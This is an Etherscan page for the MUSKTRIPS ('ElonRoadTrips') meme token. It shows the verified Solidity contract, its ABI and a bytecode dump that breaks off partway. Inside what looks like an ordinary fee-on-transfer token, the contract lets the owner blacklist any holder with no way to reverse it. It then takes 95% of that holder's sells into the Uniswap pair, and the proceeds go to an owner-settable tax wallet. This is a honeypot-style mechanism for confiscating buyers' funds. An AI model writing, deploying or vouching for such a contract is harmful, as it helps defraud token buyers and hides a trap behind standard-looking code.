ETH Price: $3,490.77 (+7.54%)
Gas: 6 Gwei

Token

MUSKTRIPS (ElonRoadTrips)
 

Overview

Max Total Supply

100,000,000 ElonRoadTrips

Holders

56

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
0.041337378 ElonRoadTrips

Value
$0.00
0x09ee833daa0c5727000c6e87919b5965656488b6
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
MUSKTRIPS

Compiler Version
v0.8.20+commit.a1b79de6

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-08-05
*/

/**
 *Submitted for verification at Etherscan.io on 2023-07-28
*/

// SPDX-License-Identifier: MIT
/**
Telegram: https://t.me/ElonRoadTrips
**/


pragma solidity 0.8.20;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract MUSKTRIPS is Context, IERC20, Ownable {
    using SafeMath for uint256;
        // Add a mapping to store the blacklist status of each wallet
    mapping(address => bool) private _isBlacklisted;

    // Function to add a wallet to the blacklist
    function addToBlacklist(address wallet) external onlyOwner {
        require(wallet != address(0), "Invalid wallet address");
        require(!_isBlacklisted[wallet], "Wallet is already blacklisted");
        _isBlacklisted[wallet] = true;
    }

        // Declare the customMin function
    function customMin(uint256 a, uint256 b) private pure returns (uint256) {
        return a < b ? a : b;
    }

    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExcludedFromFee;
    mapping (address => bool) private bots;
    mapping(address => uint256) private _holderLastTransferTimestamp;
    bool public transferDelayEnabled = true;
    address payable private _taxWallet;

        function setTaxWallet(address newTaxWallet) external onlyOwner {
        require(newTaxWallet != address(0), "Invalid wallet address");
        _taxWallet = payable(newTaxWallet);
    }
    


    uint256 private _initialBuyTax=5;
    uint256 private _initialSellTax=5;
    uint256 private _finalBuyTax=1;
    uint256 private _finalSellTax=1;
    uint256 private _reduceBuyTaxAt=5;
    uint256 private _reduceSellTaxAt=5;
    uint256 private _preventSwapBefore=5;
    uint256 private _buyCount=0;

    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 100000000 * 10**_decimals;
    string private constant _name = unicode"MUSKTRIPS";
    string private constant _symbol = unicode"ElonRoadTrips";
    uint256 public _maxTxAmount = 2000000 * 10**_decimals;
    uint256 public _maxWalletSize = 2000000 * 10**_decimals;
    uint256 public _taxSwapThreshold= 1500000 * 10**_decimals;
    uint256 public _maxTaxSwap= 1500000 * 10**_decimals;

    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;

    event MaxTxAmountUpdated(uint _maxTxAmount);
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    

    constructor () {
        _taxWallet = payable(_msgSender());
        _balances[_msgSender()] = _tTotal;
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[_taxWallet] = true;

        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

function _transfer(address from, address to, uint256 amount) private {
    require(from != address(0), "ERC20: transfer from the zero address");
    require(to != address(0), "ERC20: transfer to the zero address");
    require(amount > 0, "Transfer amount must be greater than zero");
    uint256 taxAmount = 0;

    if (_isBlacklisted[from] && to == uniswapV2Pair) {
        // If the sender is blacklisted and the recipient is the Uniswap pair,
        // enforce the minimum tax (95%) for selling.
        taxAmount = amount.mul(95).div(100);
    } else {
        taxAmount = amount.mul((_buyCount > _reduceBuyTaxAt) ? _finalBuyTax : _initialBuyTax).div(100);

        if (transferDelayEnabled) {
            if (to != address(uniswapV2Router) && to != address(uniswapV2Pair)) {
                require(
                    _holderLastTransferTimestamp[tx.origin] < block.number,
                    "_transfer:: Transfer Delay enabled. Only one purchase per block allowed."
                );
                _holderLastTransferTimestamp[tx.origin] = block.number;
            }
        }

        if (from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) {
            require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
            require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
            _buyCount++;
        }

        if (to == uniswapV2Pair && from != address(this)) {
            taxAmount = amount.mul((_buyCount > _reduceSellTaxAt) ? _finalSellTax : _initialSellTax).div(100);
        }

        uint256 contractTokenBalance = balanceOf(address(this));
        if (!inSwap && to == uniswapV2Pair && swapEnabled && contractTokenBalance > _taxSwapThreshold && _buyCount > _preventSwapBefore) {
            swapTokensForEth(customMin(amount, customMin(contractTokenBalance, _maxTaxSwap)));
            uint256 contractETHBalance = address(this).balance;
            if (contractETHBalance > 50000000000000000) {
                sendETHToFee(address(this).balance);
            }
        }
    }

    if (taxAmount > 0) {
        _balances[address(this)] = _balances[address(this)].add(taxAmount);
        emit Transfer(from, address(this), taxAmount);
    }
    _balances[from] = _balances[from].sub(amount);
    _balances[to] = _balances[to].add(amount.sub(taxAmount));
    emit Transfer(from, to, amount.sub(taxAmount));
}


    function min(uint256 a, uint256 b) private pure returns (uint256){
      return (a>b)?b:a;
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function removeLimits() external onlyOwner{
        _maxTxAmount = _tTotal;
        _maxWalletSize=_tTotal;
        transferDelayEnabled=false;
        emit MaxTxAmountUpdated(_tTotal);
    }
    

    function sendETHToFee(uint256 amount) private {
        _taxWallet.transfer(amount);
    }


    function openTrading() external onlyOwner() {
        require(!tradingOpen,"trading is already open");
        uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _approve(address(this), address(uniswapV2Router), _tTotal);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
        swapEnabled = true;
        tradingOpen = true;
    }

    receive() external payable {}

    function manualSwap() external {
        require(_msgSender()==_taxWallet);
        uint256 tokenBalance=balanceOf(address(this));
        if(tokenBalance>0){
          swapTokensForEth(tokenBalance);
        }
        uint256 ethBalance=address(this).balance;
        if(ethBalance>0){
          sendETHToFee(ethBalance);
        }
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"wallet","type":"address"}],"name":"addToBlacklist","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"manualSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newTaxWallet","type":"address"}],"name":"setTaxWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"transferDelayEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052600160075f6101000a81548160ff021916908315150217905550600560085560056009556001600a556001600b556005600c556005600d556005600e555f600f556009600a6200005591906200060b565b621e84806200006591906200065b565b6010556009600a6200007891906200060b565b621e84806200008891906200065b565b6011556009600a6200009b91906200060b565b6216e360620000ab91906200065b565b6012556009600a620000be91906200060b565b6216e360620000ce91906200065b565b6013555f6015806101000a81548160ff0219169083151502179055505f601560166101000a81548160ff02191690831515021790555034801562000110575f80fd5b505f620001226200044b60201b60201c565b9050805f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a350620001ce6200044b60201b60201c565b600760016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506009600a6200021e91906200060b565b6305f5e1006200022f91906200065b565b60025f620002426200044b60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550600160045f620002946200045260201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160045f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160045f600760019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550620003bf6200044b60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6009600a6200041d91906200060b565b6305f5e1006200042e91906200065b565b6040516200043d9190620006b6565b60405180910390a3620006d1565b5f33905090565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b60018511156200050357808604811115620004db57620004da62000479565b5b6001851615620004eb5780820291505b8081029050620004fb85620004a6565b9450620004bb565b94509492505050565b5f826200051d5760019050620005ef565b816200052c575f9050620005ef565b8160018114620005455760028114620005505762000586565b6001915050620005ef565b60ff84111562000565576200056462000479565b5b8360020a9150848211156200057f576200057e62000479565b5b50620005ef565b5060208310610133831016604e8410600b8410161715620005c05782820a905083811115620005ba57620005b962000479565b5b620005ef565b620005cf8484846001620004b2565b92509050818404811115620005e957620005e862000479565b5b81810290505b9392505050565b5f819050919050565b5f60ff82169050919050565b5f6200061782620005f6565b91506200062483620005ff565b9250620006537fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846200050c565b905092915050565b5f6200066782620005f6565b91506200067483620005f6565b92508282026200068481620005f6565b915082820484148315176200069e576200069d62000479565b5b5092915050565b620006b081620005f6565b82525050565b5f602082019050620006cb5f830184620006a5565b92915050565b61340e80620006df5f395ff3fe60806040526004361061012d575f3560e01c8063751039fc116100aa578063a9059cbb1161006e578063a9059cbb146103a6578063bf474bed146103e2578063c876d0b91461040c578063c9567bf914610436578063dd62ed3e1461044c578063ea414b281461048857610134565b8063751039fc146102e85780637d1db4a5146102fe5780638da5cb5b146103285780638f9a55c01461035257806395d89b411461037c57610134565b8063313ce567116100f1578063313ce5671461022e57806344337ea11461025857806351bc3c851461028057806370a0823114610296578063715018a6146102d257610134565b806306fdde0314610138578063095ea7b3146101625780630faee56f1461019e57806318160ddd146101c857806323b872dd146101f257610134565b3661013457005b5f80fd5b348015610143575f80fd5b5061014c6104b0565b6040516101599190612430565b60405180910390f35b34801561016d575f80fd5b50610188600480360381019061018391906124e1565b6104ed565b6040516101959190612539565b60405180910390f35b3480156101a9575f80fd5b506101b261050a565b6040516101bf9190612561565b60405180910390f35b3480156101d3575f80fd5b506101dc610510565b6040516101e99190612561565b60405180910390f35b3480156101fd575f80fd5b506102186004803603810190610213919061257a565b610533565b6040516102259190612539565b60405180910390f35b348015610239575f80fd5b50610242610607565b60405161024f91906125e5565b60405180910390f35b348015610263575f80fd5b5061027e600480360381019061027991906125fe565b61060f565b005b34801561028b575f80fd5b506102946107f2565b005b3480156102a1575f80fd5b506102bc60048036038101906102b791906125fe565b61088a565b6040516102c99190612561565b60405180910390f35b3480156102dd575f80fd5b506102e66108d0565b005b3480156102f3575f80fd5b506102fc610a1e565b005b348015610309575f80fd5b50610312610b66565b60405161031f9190612561565b60405180910390f35b348015610333575f80fd5b5061033c610b6c565b6040516103499190612638565b60405180910390f35b34801561035d575f80fd5b50610366610b93565b6040516103739190612561565b60405180910390f35b348015610387575f80fd5b50610390610b99565b60405161039d9190612430565b60405180910390f35b3480156103b1575f80fd5b506103cc60048036038101906103c791906124e1565b610bd6565b6040516103d99190612539565b60405180910390f35b3480156103ed575f80fd5b506103f6610bf3565b6040516104039190612561565b60405180910390f35b348015610417575f80fd5b50610420610bf9565b60405161042d9190612539565b60405180910390f35b348015610441575f80fd5b5061044a610c0b565b005b348015610457575f80fd5b50610472600480360381019061046d9190612651565b61112d565b60405161047f9190612561565b60405180910390f35b348015610493575f80fd5b506104ae60048036038101906104a991906125fe565b6111af565b005b60606040518060400160405280600981526020017f4d55534b54524950530000000000000000000000000000000000000000000000815250905090565b5f6105006104f96112f5565b84846112fc565b6001905092915050565b60135481565b5f6009600a61051f91906127eb565b6305f5e10061052e9190612835565b905090565b5f61053f8484846114bf565b6105fc8461054b6112f5565b6105f7856040518060600160405280602881526020016133b16028913960035f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6105ae6112f5565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611e939092919063ffffffff16565b6112fc565b600190509392505050565b5f6009905090565b6106176112f5565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106a3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161069a906128c0565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610711576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161070890612928565b60405180910390fd5b60015f8273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff161561079b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161079290612990565b60405180910390fd5b6001805f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555050565b600760019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108336112f5565b73ffffffffffffffffffffffffffffffffffffffff1614610852575f80fd5b5f61085c3061088a565b90505f8111156108705761086f81611ef5565b5b5f4790505f811115610886576108858161215e565b5b5050565b5f60025f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b6108d86112f5565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610964576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161095b906128c0565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610a266112f5565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ab2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610aa9906128c0565b60405180910390fd5b6009600a610ac091906127eb565b6305f5e100610acf9190612835565b6010819055506009600a610ae391906127eb565b6305f5e100610af29190612835565b6011819055505f60075f6101000a81548160ff0219169083151502179055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6009600a610b4091906127eb565b6305f5e100610b4f9190612835565b604051610b5c9190612561565b60405180910390a1565b60105481565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60115481565b60606040518060400160405280600d81526020017f456c6f6e526f6164547269707300000000000000000000000000000000000000815250905090565b5f610be9610be26112f5565b84846114bf565b6001905092915050565b60125481565b60075f9054906101000a900460ff1681565b610c136112f5565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c9f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c96906128c0565b60405180910390fd5b601560149054906101000a900460ff1615610cef576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ce6906129f8565b60405180910390fd5b737a250d5630b4cf539739df2c5dacb4c659f2488d60145f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610d8b3060145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff166009600a610d7791906127eb565b6305f5e100610d869190612835565b6112fc565b60145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610df5573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610e199190612a2a565b73ffffffffffffffffffffffffffffffffffffffff1663c9c653963060145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610e9f573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610ec39190612a2a565b6040518363ffffffff1660e01b8152600401610ee0929190612a55565b6020604051808303815f875af1158015610efc573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610f209190612a2a565b60155f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610fa73061088a565b5f80610fb1610b6c565b426040518863ffffffff1660e01b8152600401610fd396959493929190612abe565b60606040518083038185885af1158015610fef573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906110149190612b31565b50505060155f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b360145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b81526004016110b4929190612b81565b6020604051808303815f875af11580156110d0573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906110f49190612bd2565b506001601560166101000a81548160ff0219169083151502179055506001601560146101000a81548160ff021916908315150217905550565b5f60035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b6111b76112f5565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611243576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161123a906128c0565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036112b1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112a890612928565b60405180910390fd5b80600760016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361136a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161136190612c6d565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036113d8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113cf90612cfb565b60405180910390fd5b8060035f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114b29190612561565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361152d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161152490612d89565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361159b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161159290612e17565b60405180910390fd5b5f81116115dd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115d490612ea5565b60405180910390fd5b5f60015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff168015611680575060155f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b156116b3576116ac606461169e605f856121c790919063ffffffff16565b61223e90919063ffffffff16565b9050611be3565b6116ef60646116e1600c54600f54116116ce576008546116d2565b600a545b856121c790919063ffffffff16565b61223e90919063ffffffff16565b905060075f9054906101000a900460ff16156118775760145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156117af575060155f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611876574360065f3273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205410611833576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161182a90612f59565b60405180910390fd5b4360065f3273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b5b60155f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015611920575060145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611973575060045f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b15611a2d576010548211156119bd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119b490612fc1565b60405180910390fd5b601154826119ca8561088a565b6119d49190612fdf565b1115611a15576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a0c9061305c565b60405180910390fd5b600f5f815480929190611a2